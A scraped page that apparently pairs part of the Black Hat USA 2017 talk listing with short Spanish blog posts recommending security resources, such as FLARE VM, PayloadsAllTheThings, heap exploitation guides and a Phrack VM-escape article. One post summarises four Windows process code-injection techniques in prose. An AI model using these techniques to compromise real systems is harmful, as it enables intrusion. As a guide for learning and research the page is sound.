  • Randolph-Delivering-Javascript-to-World-Plus-Dog.pdf
  • Randolph-Delivering-Javascript-to-World-Plus-Dog-wp.pdf
• Developing Trust and Gitting Betrayed
• Digital Vengeance: Exploiting the Most Notorious C&C Toolkits
  • Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf
  • Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits-wp.pdf
• Don’t Trust the DOM: Bypassing XSS Mitigations via Script Gadgets
  • Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
• Electronegativity - A Study of Electron Security
  • Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf
  • Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf
• Escalating Insider Threats Using VMware’s API
  • Ziv-Escalating-Insider-Threats-Using-Vmware’s-Api.pdf
• Evading Microsoft ATA for Active Directory Domination
  • Mittal-Evading-MicrosoftATA-for-ActiveDirectory-Domination.pdf
• Evil Bubbles or How to Deliver Attack Payload via the Physics of the Process
• Evilsploit – A Universal Hardware Hacking Toolkit
  • Chui-Evilsploit-A-Universal-Hardware-Hacking-Toolkit.pdf
  • Chui-Evilsploit-A-Universal-Hardware-Hacking-Toolkit-wp.pdf
• Evolutionary Kernel Fuzzing
  • Johnson-Evolutionary-Kernel-Fuzzing
• Exploit Kit Cornucopia
• Exploiting Network Printers
  • Mueller-Exploiting-Network-Printers.pdf
• Fad or Future? Getting Past the Bug Bounty Hype
• Fighting Targeted Malware in the Mobile Ecosystem
  • Ruthven-Fighting-Targeted-Malware-In-The-Mobile-Ecosystem.pdf
• Fighting the Previous War (aka: Attacking and Defending in the Era of the Cloud)
• Firmware is the New Black - Analyzing Past Three Years of BIOS/UEFI Security Vulnerabilities
• FlowFuzz - A Framework for Fuzzing OpenFlow-Enabled Software and Hardware Switches
  • Gray-FlowFuzz-A-Framework-For-Fuzzing-OpenFlow-Enabled-Software-And-Hardware-Switches.pdf
• Fractured Backbone: Breaking Modern OS Defenses with Firmware Attacks
• Free-Fall: Hacking Tesla from Wireless to CAN Bus
  • Nie-Free-Fall-Hacking-Tesla-From-Wireless-To-CAN-Bus.pdf
  • Nie-Free-Fall-Hacking-Tesla-From-Wireless-To-CAN-Bus-wp.pdf
• Friday the 13th: JSON Attacks
  • Munoz-Friday-The-13th-Json-Attacks.pdf
  • Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• Game of Chromes: Owning the Web with Zombie Chrome Extensions
  • Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-wp.pdf
  • Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-wp.pdf
• Garbage In Garbage Out: How Purportedly Great Machine Learning Models can be Screwed Up by Bad Data
  • Sanders-Garbage-In-Garbage-Out-How-Purportedly-Great-ML-Models-Can-Be-Screwed-Up-By-Bad-Data.pdf
  • Sanders-Garbage-In-Garbage-Out-How-Purportedly-Great-ML-Models-Can-Be-Screwed-Up-By-Bad-Data-wp.pdf
• Go Nuclear: Breaking Radiation Monitoring Devices
  • [Santamarta-Go-Nuclear-Breaking Radition-Monitoring-Devices.pdf]( https://www.blackhat.com/docs/us-17/wednesday/us-17-Santamarta-Go-Nuclear-Breaking Radition-Monitoring-Devices.pdf)
  • [Santamarta-Go-Nuclear-Breaking Radition-Monitoring-Devices-wp.pdf]( https://www.blackhat.com/docs/us-17/wednesday/us-17-Santamarta-Go-Nuclear-Breaking Radition-Monitoring-Devices-wp.pdf)
• Go to Hunt Then Sleep
  • Bianco-Go-To-Hunt-Then-Sleep.pdf
• Hacking Hardware with a $10 SD Card Reader
  • Etemadieh-Hacking-Hardware-With-A-$10-SD-Card-Reader.pdf
  • Etemadieh-Hacking-Hardware-With-A-$10-SD-Card-Reader-wp.pdf
• Hacking Serverless Runtimes: Profiling AWS Lambda Azure Functions and More
  • Krug-Hacking-Severless-Runtimes.pdf
  • Krug-Hacking-Severless-Runtimes-wp.pdf
• Honey I Shrunk the Attack Surface – Adventures in Android Security Hardening
• How We Created the First SHA-1 Collision and What it Means for Hash Security
• Hunting GPS Jammers
  • Gostomelsky-Hunting-GPS-Jammers.pdf
• Ice Cream Social (Sponsored by Code42 Software Core Security Cybereason Darktrace F5 Networks iboss Malwarebytes & Optiv Security)
• Ichthyology: Phishing as a Science
  • Burnett-Ichthyology-Phishing-As-A-Science.pdf
  • Burnett-Ichthyology-Phishing-As-A-Science-wp.pdf
• Industroyer/Crashoverride: Zero Things Cool About a Threat Group Targeting the Power Grid
  • Lee-Industroyer-Crashoverride-Zero-Things-Cool-About-A-Threat-Group-Targeting-The-Power-Grid.pdf
• Infecting the Enterprise: Abusing Office365+Powershell for Covert C2
  • Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
• Influencing the Market to Improve Security
  • Nakibly-Automated-Detection-of-Vulnerabilities-in-Black-Box-Routers.pdf
  • Nakibly-Automated-Detection-of-Vulnerabilities-in-Black-Box-Routers-wp.pdf
• Intel AMT Stealth Breakthrough
  • Evdokimov-Intel-AMT-Stealth-Breakthrough.pdf
  • Evdokimov-Intel-AMT-Stealth-Breakthrough-wp.pdf
• Intel SGX Remote Attestation is Not Sufficient
  • Swami-SGX-Remote-Attestation-Is-Not-Sufficient-wp.pdf
  • Swami-SGX-Remote-Attestation-Is-Not-Sufficient-wp.pdf
• Intercepting iCloud Keychain
  • Radocea-Intercepting-iCloud-Keychain.pdf
• IoTCandyJar: Towards an Intelligent-Interaction Honeypot for IoT Devices
  • Luo-Iotcandyjar-Towards-An-Intelligent-Interaction-Honeypot-For-IoT-Devices.pdf
  • Luo-Iotcandyjar-Towards-An-Intelligent-Interaction-Honeypot-For-IoT-Devices-wp.pdf
• kR^X: Comprehensive Kernel Protection Against Just-In-Time Code Reuse
  • [Pomonis-KR^X- Comprehensive- Kernel-Protection-Against-Just-In-Time-Code-Reuse.pdf]( https://www.blackhat.com/docs/us-17/thursday/us-17-Pomonis-KR^X- Comprehensive- Kernel-Protection-Against-Just-In-Time-Code-Reuse.pdf)
• Lies and Damn Lies: Getting Past the Hype of Endpoint Security Solutions
  • Giuliano-Lies-And-Damn-Lies-Getting-Past-The-Hype-Of-Endpoint-Security-Solutions.pdf
• Lunch Break (Sponsored by Cisco Forcepoint LogRhythm & RSA)
• Many Birds One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software
  • Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf
• Mimosa Bar (Sponsored by AlienVault Arbor Networks Carbon Black CrowdStrike Cylance DarkMatter Digital Guardian & IBM)
• Network Automation is Not Your Safe Haven: Protocol Analysis and Vulnerabilities of Autonomic Network
  • Eissa-Network-Automation-Isn’t-Your-Safe-Haven-Protocol-Analysis-And-Vulnerabilities-Of-Autonomic-Network.pdf
• New Adventures in Spying 3G and 4G Users: Locate Track & Monitor
  • Borgaonkar-New-Adventures-In-Spying-3G-And-4G-Users-Locate-Track-And-Monitor.pdf
• Ochko123 - How the Feds Caught Russian Mega-Carder Roman Seleznev
• Offensive Malware Analysis: Dissecting OSX/FruitFly via a Custom C&C Server
  • Wardle-Offensive-Malware-Analysis-Dissecting-OSXFruitFly-Via-A-Custom-C&C-Server.pdf
• OpenCrypto: Unchaining the JavaCard Ecosystem
  • Mavroudis-Opencrypto-Unchaining-The-JavaCard-Ecosystem.pdf
• Orange is the New Purple - How and Why to Integrate Development Teams with Red/Blue Teams to Build More Secure Software
  • Wright-Orange-Is-The-New-Purple.pdf
  • Wright-Orange-Is-The-New-Purple-wp.pdf
• PEIMA: Harnessing Power Laws to Detect Malicious Activities from Denial of Service to Intrusion Detection Traffic Analysis and Beyond
• Practical Tips for Defending Web Applications in the Age of DevOps
  • [Lackey-Practical Tips-for-Defending-Web-Applications-in-the-Age-of-DevOps.pdf]( https://www.blackhat.com/docs/us-17/thursday/us-17-Lackey-Practical Tips-for-Defending-Web-Applications-in-the-Age-of-DevOps.pdf)
• Protecting Pentests: Recommendations for Performing More Secure Tests
  • McGrew-Protecting-Pentests-Recommendations-For-Performing-More-Secure-Tests.pdf
  • McGrew-Protecting-Pentests-Recommendations-For-Performing-More-Secure-Tests-wp.pdf
• Protecting Visual Assets: Digital Image Counter-Forensics
  • Mazurov-Brown-Protecting-Visual-Assets-Digital-Image-Counter-Forensics.pdf
• Pwnie Awards
• Quantifying Risk in Consumer Software at Scale - Consumer Reports’ Digital Standard
• RBN Reloaded - Amplifying Signals from the Underground
• Real Humans Simulated Attacks: Usability Testing with Attack Scenarios
  • Cranor-Real-Users-Simulated-Attacks.pdf
• Redesigning PKI to Solve Revocation Expiration and Rotation Problems
  • Knopf-Redesigning-PKI-To-Solve-Revocation-Expiration-And-Rotation-Problems.pdf
  • Knopf-Redesigning-PKI-To-Solve-Revocation-Expiration-And-Rotation-Problems-wp.pdf
• Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science
  • [Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science.pdf]( https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science.pdf)
  • [Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science-wp.pdf]( https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science-wp.pdf)
• rVMI: A New Paradigm for Full System Analysis
  • Pfoh-rVMI-A-New-Paradigm-For-Full-System-Analysis.pdf
• ShieldFS: The Last Word in Ransomware Resilient File Systems
  • Continella-ShieldFS-The-Last-Word-In-Ransomware-Resilient-Filesystems.pdf
  • Continella-ShieldFS-The-Last-Word-In-Ransomware-Resilient-Filesystems-wp.pdf
• Skype & Type: Keystroke Leakage over VoIP
  • Lain-Skype-&-Type-Keystroke-Leakage-Over-VoIP.pdf
• Smoothie Social (Sponsored by Bromium Proofpoint Inc. Rapid7 SentinelOne Trend Micro Webroot StackPath & Tanium)
• So You Want to Market Your Security Product…
  • Alva-So-You-Want-To-Market-Your-Security-Product.pdf
• Sonic Gun to Smart Devices: Your Devices Lose Control Under Ultrasound/Sound
  • Wang-Sonic-Gun-To-Smart-Devices-Your-Devices-Lose-Control-Under-Ultrasound-Or-Sound.pdf
• Splunking Dark Tools - A Pentesters Guide to Pwnage Visualization
  • Bates-Splunking-Dark-Tools-A-Pentesters-Guide-To-Pwnage-Visualization.pdf
• SS7 Attacker Heaven Turns into Riot: How to Make Nation-State and Intelligence Attackers’ Lives Much Harder on Mobile Networks
  • Kacer-SS7-Attacker-Heaven-Turns-Into-Riot-How-To-Make-Nation-State-And-Intelligence-Attackers-Lives-Much-Harder-On-Mobile-Networks.pdf
  • Kacer-SS7-Attacker-Heaven-Turns-Into-Riot-How-To-Make-Nation-State-And-Intelligence-Attackers-Lives-Much-Harder-On-Mobile-Networks-wp.pdf
• Taking DMA Attacks to the Next Level: How to do Arbitrary Memory Reads/Writes in a Live and Unmodified System Using a Rogue Memory Controller
• Taking Over the World Through MQTT - Aftermath
  • Lundgren-Taking-Over-The-World-Through-Mqtt-Aftermath.pdf
• Taking Windows 10 Kernel Exploitation to the Next Level – Leveraging Write-What-Where Vulnerabilities in Creators Update
  • Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf
  • Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
• The Active Directory Botnet
  • Miller-The-Active-Directory-Botnet
• The Adventures of AV and the Leaky Sandbox
  • Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox.pdf
  • Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox-wp.pdf
• The Art of Securing 100 Products
  • Valtman-The-Art-Of-Securing-100-Products.pdf
• The Avalanche Takedown: Landslide for Law Enforcement
• The Epocholypse 2038: What’s in Store for the Next 20 Years
  • Hypponen-The-Epocholypse-2038-Whats-In-Store-For-The-Next-20-Years.pdf
• The Future of ApplePwn - How to Save Your Money
  • Yunusov-The-Future-Of-Applepwn-How-To-Save-Your-Money.pdf
• The Industrial Revolution of Lateral Movement
  • Beery-The-Industrial-Revolution-Of-Lateral-Movement.pdf
• The Origin of Array [@@species]: How Standards Drive Bugs in Script Engines
  • Silvanovich-The-Origin-Of-Array-Symbol-Species.pdf
• The Shadow Brokers – Cyber Fear Game-Changers
• They’re Coming for Your Tools: Exploiting Design Flaws for Active Intrusion Prevention
• Tracking Ransomware End to End
  • Invernizzi-Tracking-Ransomware-End-To-End.pdf
• Web Cache Deception Attack
  • Gil-Web-Cache-Deception-Attack.pdf
  • Gil-Web-Cache-Deception-Attack-wp.pdf
• Well that Escalated Quickly! How Abusing Docker API Led to Remote Code Execution Same Origin Bypass and Persistence in the Hypervisor via Shadow Containers
  • Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence.pdf
  • Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
• What They’re Teaching Kids These Days: Comparing Security Curricula and Accreditations to Industry Needs
  • Sanders-What-They’re-Teaching-Kids-These-Days-Comparing-Security-Curricula-And-Accreditations-To-Industry-Needs.pdf
• What’s on the Wireless? Automating RF Signal Identification
  • Ossmann-Whats-On-The-Wireless-Automating-RF-Signal-Identification.pdf
  • Ossmann-Whats-On-The-Wireless-Automating-RF-Signal-Identification-wp.pdf
• When IoT Attacks: Understanding the Safety Risks Associated with Connected Devices
  • Rios-When-IoT-Attacks-Understanding-The-Safety-Risks-Associated-With-Connected-Devices.pdf
  • Rios-When-IoT-Attacks-Understanding-The-Safety-Risks-Associated-With-Connected-Devices-wp.pdf
• White Hat Privilege: The Legal Landscape for a Cybersecurity Professional Seeking to Safeguard Sensitive Client Data
  • Osborn-White-Hat-Privilege-The-Legal-Landscape-For-A-Cybersecurity-Professional-Seeking-To-Safeguard-Sensitive-Client-Data.pdf
• Why Most Cyber Security Training Fails and What We Can Do About it
• WiFuzz: Detecting and Exploiting Logical Flaws in the Wi-Fi Cryptographic Handshake
  • Ventura-Theyre-Coming-For-Your-Tools-Exploiting-Design-Flaws-For-Active-Intrusion-Prevention.pdf
  • Ventura-Theyre-Coming-For-Your-Tools-Exploiting-Design-Flaws-For-Active-Intrusion-Prevention-wp.pdf
  • Vanhoef-WiFuzz-Detecting-And-Exploiting-Logical-Flaws-In-The-Wi-Fi-Cryptographic-Handshake-tools.zip
• Wire Me Through Machine Learning
  • Singh-Wire-Me-Through-Machine-Learning.pdf
• WSUSpendu: How to Hang WSUS Clients
  • Coltel-WSUSpendu-Use-WSUS-To-Hang-Its-Clients.pdf
  • Coltel-WSUSpendu-Use-WSUS-To-Hang-Its-Clients-wp.pdf
• Zero Days Thousands of Nights: The Life and Times of Zero-Day Vulnerabilities and Their Exploits
  • Ablon-Zero-Days-Thousands-Of-Nights-The-Life-And-Times-Of-Zero-Day-Vulnerabilities-And-Their-Exploits.pdf

Distribución de seguridad basada en Windows

*FLARE VM*

Inspirada en la archi conocida distribución Kali Linux , FLARE VM es una distribución basada en Windows para el análisis de malware, respuesta de incidentes y auditorías de seguridad.

Esta distribución se instala sobre Windows 7 o posterior. Todo lo que tienes que hacer es acceder a través de Internet Explorer (otro navegador no sirve) a:

http://boxstarter.org/package/url?[FLAREVM_SCRIPT]

Donde FLAREVM_SCRIPT es el fichero que quieres instalar. Por ejemplo para instalar la edición de análisis de malware (única disponible hasta el momento):

Kali Linux Revealed, curso gratuito

*Kali Linux Revealed*

Creo que a estas alturas, Kali Linux no necesita presentación alguna, pero si hay algún despistado por la sala, Kali Linux es la distribución que cualquier profesional que se dedique a la seguridad de alguna forma u otra, debe tener en su arsenal.

Offensive Security , organización que mantiene dicha distribución, ha puesto a disposición del público y sin coste alguno, un curso online que te prepeara para la certificación Kali Linux Certified Professional (KLCP). Ésta, sí cuesta dinero, pero el curso, al que además acompaña un libro (PDF), son gratuitos. Si prefieres el libro impreso, lo puedes comprar en Amazon .

Aplicación vulnerable iOS del proyecto OWASP

*iGoat*

iGoat es un proyecto perteneciente a la fundación OWASP inspirado en WebGoat . Dicho proyecto contiene vulnerabilidades de forma intencionada y no es sólo para el investigador de seguridad, sino también para desarrolladores. Esto es, porque parte del ejercicio no sólo consta de atacar y comprometer la aplicación, sino que también está diseñado para (con comentarios en el código) arreglar las vulnarabilidades, así que puedes atacar, arreglar o ambos.

Latch SDK para Go ¡NO OFICIAL!

*Latch*

Hace tiempo que empecé a leer y juguetear con el lenguaje de programación Go , pero por falta de tiempo nunca llegué a programar nada con él, simplemente seguí el tour que tienen online.

Ultimamente, quizás por la popularidad que Go está ganando (éste sí que creo que le puede toser a Java en un futuro cercano), tenía ganas de realmente familiarizarme con él, así que la semana pasada me puse manos a la obra y me voví a hacer el tour y leer algo de documentación. Lo siguiente era escribir código. Pensando que implementar, me dio por mirar Latch de ElevenPath a ver si tenían un SDK para Go, y parece que no, así que a eso me puse y le dediqué la tarde (y la noche) del domingo a crear una librería para Go.

Cinco mujeres que cambiaron nuestras vidas

*Ada Lovelace*

Ada Lovelace

Ada Augusta Byron King, hija del Poeta Lord Byron y apasionada por las matemáticas, hoy en día tiene el honor de ser considerada la primera persona que creó un algoritmo para ser procesado de forma automática por una máquina. Ada nació el 10 de diciembre de 1815 en Londres y murió a los 36 años, el 27 de noviembre de 1852. Poco después de su nacimiento, sus padres se divorciaron, y Ada se iría a vivir con su madre, Annabela. Lo último que Annabela quería es que Ada desarrollara el mismo carácter que su padre e intentó apartarla de la poesía lo máximo posible y para ello usó las matemáticas.

Payloads para todos los gustos contra aplicaciones …

*DVWA Payload con Burp Suite*

https://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-web-apps-part-4-hacking-form-authentication-with-burp-suite-0163642/

Dependende de la tecnología, sistema, bases de datos, etc a la que nos enfrentemos, los vectores de ataques pueden variar. Por ejemplo, si estamos atacando una aplicación web que está conectada a una base de datos de MySQL, la inyección de código o payload variará si nos enfrentamos a una base de datos de Oracle, PostgreSQL, etc.

Payloads All The Things es un repositorio alojado en Github que almacena una buena cantidad de payloads para aplicaciones web. Desde inecciones genéricas de SQL a ataques más específicos contra tecnologías concretas como Amazon S3, PHP, Apache Struts, etc.

Puntos invisibles en impresoras

*Puntos Invisibles*

Hace un par de días saltó la “noticia” sobre un nuevo documento filtrado de la NSA con información confidencial sobre el posible ataque de Rusia a máquinas de votos días antes de las elecciones estadounidense. Poco después que la noticia se hiciera pública y el documento fuera publicado, también se convirtió en noticia la detención de la presunta persona que filtró dicho documento.

Por lo visto esta persona identificada con el nombre “Reality Leigh Winner”, contratista de la NSA, fue identificada a través de las marcas o puntos invisibles (son puntos amarillas prácticamente invisible al ojo humano) que algunas impresoras dejan como rastro cuando imprimen. Aunque esta técnica no es nueva, en este caso parece haber sido efectiva.

Repositorio de cheat sheets

*Cheat.sh*

En España las llamamos chuletas, al menos en el sur. Las cheat sheets son pequeñas notas o apuntes que nos ayudan a recordar los puntos importantes sobre cierto tema. En informática son muy comunes por lo amplía que ésta es.

Cheat.sh es un sitio web que unifica varios repositorios de chuletas. Éste provee de una interfaz web limpia desde la que podemos acceder a un total de 783 chuletas (actualmente) agrupadas en 8 secciones. Dichas secciones cubren comandos de Linux y varios lenguajes de programación.

Imágenes para practicar análisis forense digital

*Análisis Forense*

El análisis forense es uno de esos campos que es tan importante como la defensa. Alguien dijo que hay dos tipos de empresas: aquellas que han sido comprometidas y aquellas que aún no saben que han sido comprometidas. Muchos expertos también recomiendan, sin dejar de lado una buena defensa, tener una buena estrategia de recuperación, porque no hay que preguntarse si vamos a ser comprometidos, sino cuando, y cuando esto ocurra ¿Cuál es tu plan? Por supuesto saber cómo hemos sido comprometidos es un requisito inamovible.

Código fuente del primer vídeo juego de aventura …

Captura de pantalla de Colossal Cave Adventure

Inspirado en DND (Dungeons & Dragons) (1974-75) y Hunt the Wumpus (1972), Colossal Cave Adventure es considerado el primer vídeo juego conversacional de la historia. Fue el primero en su categoría en usar análisis de lenguaje natural para llevar a cabo conversaciones con el jugador.

Eric S. Raymond ha rescatado y publicado con el permiso de su autor el código fuente de Colossal Cave Adventure. El código publicado corresponde a la versión 2.5 del juego que fue lanzado en 1995, pero éste fue originalmente desarrollado en 1976 por William Crowther y más tarde extendido por el mismo autor y Don Woods , escrito en FORTRAN sobre un PDP-10.

Desarrollo de Aplicaciones con Swift

*App Development with Swift*

Apple ha publicado un libro gratuito sobre desarrollo de aplicaciones usando Swift. El libro, App Development with Swift , no sólo se centra en Swift, sino también en principios básicos sobre programación, herramientas usadas para el desarrollo de aplicaciones en iOS y buenas prácticas de programación.

El lector irá aprendiendo todos estos conceptos mediante la creación de 5 aplicaciones, desde el desarrollo de una linterna, al desarrollo de una aplicación de compras que se comunica con un servidor web.

Explotación de la memoria dinámica

*Heap Exploitation*

De manra muy simple, la memoria dinámica es aquella que se maneja en tiempo de ejecución. A esta sección de la memoria se le conoce como Heap. Al igual que la pila (Stack), el Heap también puede ser abusado para ganar control sobre la ejecución de un proceso, y a esto se le conoce como Heap Exploitation.

La forma de explotar el Heap es muy distinta a la de explotar la pila, y algo más complicada. Además, con las protecciones ofrecidas por los sistemas operativos modernos para proteger la ejecución de código en el segmento de memoria destinado a la pila, la explotación del Heap es prácticamente nuestra única técnica de explotación de la memoria.

Tutorial sobre ensamblador para ARM

*ARM assembly*

Mientras la arquitectura x86/x64 es la reina del microprocesador para ordenadores personales, ARM la es para dispositivos móviles y de bajo consumo. El entender el sistema a bajo nivel no es quizás uno de los requisitos para un programador web, pero sí lo es para escritores de exploits, o conducir tareas de ingeniería inversa. En este caso, tener un buen control y entendimiento del lenguaje ensamblador es esencial.

Vídeos de OWASP AppSec Europa 2017

*OWASP AppSec EU 2017*

Perfecto para el fin de semana si no tienes nada planeado, ya están disponibles los vídeos de la OWASP AppSec Europa 2017 :

• Conference Opening Address by Gary Robinson
• The Gift Of Feedback by Shannon Lietz
• Boosting The Security Of Your Angular 2 Application by Philippe De Ryck
• Don’t Trust The DOM: Bypassing XSS Mitigations Via Script Gadgets by Sebastian Lekies
• The Key Under The Doormat by Stephan Huber and Steven Arzt
• OWASP Juice Shop by Björn Kimminich
• Printer Security by Jens Müller and Vladislav Mladenov
• 2017: Rise Of The Machines by Kev D’Arcy, Nicholas Raite and Rohini Sulatycki
• Looking Back To Look Ahead by Brian Honan
• Making Vulnerability Management Suck Less With DefectDojo by Greg Ande
• Don’t Get Caught Em-bed by Aaron Guzman
• So We Broke All CSPs You Won’t Guess What Happened Next by Michele Spagnuolo
• Long Term Study On SSL TLS Certificates by Enrico Branca
• What Is A DevSecOps Engineer? by Helen Beal
• Security And The Self Contained Unit Of Software by Gareth Rushgrove
• I Am Not A Robot: Job Security In A DevSecOps World by Correy Voo
• Improving The Security Of Software Defined Infrastructures by Theodoor Scholte
• An SDLC For The DevSecOps Era by Zane Lackey
• Requirements Gathering For Succesful DevSecOps Pipeline by A Volkman and H Yasar
• Integrating Security In Agile Projects by Elena Kravchenko and Efrat Wasserman
• Secure DevOps Journey: A How To Guide by Peter Chestna
• Embedding GDPR Into The SDLC by Sebastien Deleersnyder and Siebe De Roovere
• Threat Modeling with PASTA by Tony UcedaVelez
• The Flaws In Hordes, The Security In Crowds by Mike Shema
• The Dark Side Of Search Engines Optimizations Campaigns by Or Katz
• The Evil Friend In Your Browser by Achim D Brucker
• Introducing The OWASP ModSecurity Core Rule Set 3 0 by Christian Folini
• What The Kidnapping And Ransom Economy Teaches Us About Ransomware by J Grossman
• Pentesting Voice Biometrics Solutions by Jakub Kaluzny
• How To Steal Mobile Wallet? by Wojtek Dworakowski and Slawomir Jasek
• Exploiting CORS Misconfigurations For Bitcoins And Bounties by James Kettle
• Analysis And Detection Of Authentication Cross Site Request Forgery by Luca Compagna
• Preventing 10 Common Security Mistakes In The MEAN Stack by David Bohannon
• On The (In-)Security Of JavaScript Object Signing And Encryption by Dennis Detering
• Everything Is Quantum! by Jaya Baloo
• Conference Closing Address by Gary Robinson
• How To Lead Better Security Through Our Mini Hardening Project by Kazuki Tsubo
• Security Best Practices In Azure Cloud by Viktorija Almazova
• Fixing Mobile AppSec: The OWASP Mobile Project by Bernhard Mueller and Sven Schleier
• The Path Of Secure Software by Katy Anton
• DNS Hijacking Using Cloud Providers: No Verification Needed by Frans Rosén
• Combining The Security Risks Of Native And Web Development Hybrid Apps
• The DevSecOps Playbook From A Practitioner’s Perspective by Shannon Lietz
• DevSecOps: A Rose By Any Other Name Would Smell Sweeter by Nigel Kersten
• Pushing Left Like A Boss: Application Security Foundations by Tanya Janca
• Security In The Land Of Microservices by Jack Mannino
• Application Security For DevSecOps by Joseph Feiman
• Securing The Continuous Integration Process by Irene Michlin
• Monitoring Attack Surface And Integrating Security Into DevOps Pipelines
• DevSec: Continuous Patch And Security Assessment With Inspec by Christoph Hartmann
• Creating An AppSec Pipeline With Containers In A Week by Jeroen Willemsen
• DevSecOps Roundup: An Overview Of The Current State Of DevSecOps
• Incremental Threat Modeling by Irene Michlin
• How To Put The Sec In DevOps by Helen Bravo
• Could A Few Lines Of Code F!#ck It All Up! by Erez Yalon
• An Introduction To Quantum Safe Cryptography by Liz O’Sullivan
• Dangerous Optimizations And The Loss Of Causality by Robert C Seacord

Hackeando aplicaciones iOS

Hacking iOS Applications

Hacking iOS Applications (PDF) es un libro electrónico gratuito publicado por Security Innovation sobre, como su título indica, cómo hacker aplicaciones iOS, es decir, dispositivos móviles de Apple como iPhones o iPads.

El libro comienza con la creación de tu propio laboratorio, extracción y generación de ficheros binarios, análisis, depuración y diferentes técnicas de ataques contra estos.

El índice es el siguiente:

1. Setting Up iOS Pentest
2. Acquiring iOS
3. Generating iOS Binary (.IPA file) from Xcode Source Code
4. Installing iOS Binaries on Physical
5. iOS Binary Package
6. Compiling Customer-Provided Source Code for Pentesting on Latest iOS Using Xcode
7. iOS Security Model
8. Exploring iOS File System Application Data Using SSH Over
9. Application Data Encryption
10. Binary Analysis
11. Decrypting iOS Applications (AppStore Binaries)
12. iOS Application Debugging - Runtime Manipulation
13. Reverse Engineering Using Hopper
14. Reverse Engineering Using IDA PRO 112
15. MITM
16. Side Channel Leakage

Como podéis ver tiene un índice muy goloso. Yo no he tenido tiempo de ojearlo, pero me lo guardo para más tarde ;)

FPGAs for Dummies, libro gratuito

FPGAs for Dummies

FPGAs for Dummies es un libro en formato PDF gratuito que nos introduce en el fascinante mundo de las FPGAs. Según éste, las FPGAs es la “próxima gran tendencia”, literalmente el libro dice: "… the next big thing …".

Cómo decía, el libro sólo es una introducción a las FPGAs y por ello sólo consta de 48 páginas. Esta tecnología ha evolucionado mucho en los últimos años y creo que va a dar mucho que hablar en años venideros. Por lo que creo que al menos conocer de forma superficial esta tecnología es esencial. Incluso Amazon nos ofrece FPGAs en la nube .

Técnicas de inyección de código en Windows

En este repositorio de Github se recogen varias ténicas de inyección de código en entornos Windows. Las técnicas muestran cómo crear un programa que cuando se ejecuta, éste es capaz de infectar e inyectar nuestro código en otro proceso que está corriendo en memoria.

Actualmente describe 4 formas de inyección:

• CreatePatched : esta técnica sobreescribe con nuestro código, el punto de entrada de un proceso que inicialmente es iniciado en modo suspendido.

• CreateSection : este método crea una nueva sección ejecutable de un proceso que está actualmente corriendo en memoria, e inyecta nuestro código en dicha sección.

• CreateSectionAPC : ésta es práticamente igual que la anterior, pero en este case se usa una llamada de procedimiento asícrono ( APC ).

• FullCopy : aquí reservamos una región de memoria ejectuable dentro de un proceso en memoria, y nuestro proceso se copia dentro de dicha región.

Criptografía, matemáticas y programación

Rotor de papel Enigma

Cryptography, Math and Programming es un libro electrónico gratuito que nos enseña los conceptos básicos de matemáticas usados en criptografía. Además de estos, en el libro encontramos ejemplos y ejercicios prácticos con implementación de algunos algoritmos criptográficos, usando Cryptol como herramienta.

El libro acaba con dos capítulos dedicados a Enigma , y una implementación de esta máquina usando la herramienta anteriormente mencionada: Cryptol.

VM Escape, nuevo artículo publicado en Phrack

*VM Escape*

En la E-Zine de hacking por excelencia, Phrack , han publicado un nuevo artículo sobre cómo escapar de una máquina virtual, titulado VM escape . En este caso explotando una vulnerabilidad en la emulación de una tarjeta de red en QEMU. En el documento se estudian en detalle dos vulnerabilidades públicas: CVE-2015-5165 y CVE-2015-7504 , una vulnerabilidad de fuga de memoria y un desbordamiento de memoria dinámica (heap) respectivamente. En dicho artículo se demuestra cómo saltar afuera de la máquina virtual aprovechando ambas vulnerabilidades, con código incluido. Para terminar el artículo también sugiere técnicas de explotación para futuras vulnerabilidades en QEMU.

Estructura del nuevo sistema de ficheros de Apple

*APFS overview*

Apple presentó en junio de 2016 un nuevo sistema de ficheros llamado APFS (Apple File System) , éste viene a reemplazar HFS+. En marzo de este año, APFS fue introducido con iOS 10.3, también disponible en macOS, pero con algunas limitaciones y en una versión todavía experimental.

Jonas Plum a través de su blog ha publicado una entrada con información sobre la estructura de APFS . Con la ayuda de Kaitai ha ido documentando la estrucutura de este nuevo sistema de ficheros.

Lista de POCs para CVEs

Common Vulnerabilities and Exposures o CVE , es un estándar que asigna valores únicos a vulnerabilidades de seguridad. Es un proyecto subvencionado por el gobierno de los EEUU y mantenido por MITRE .

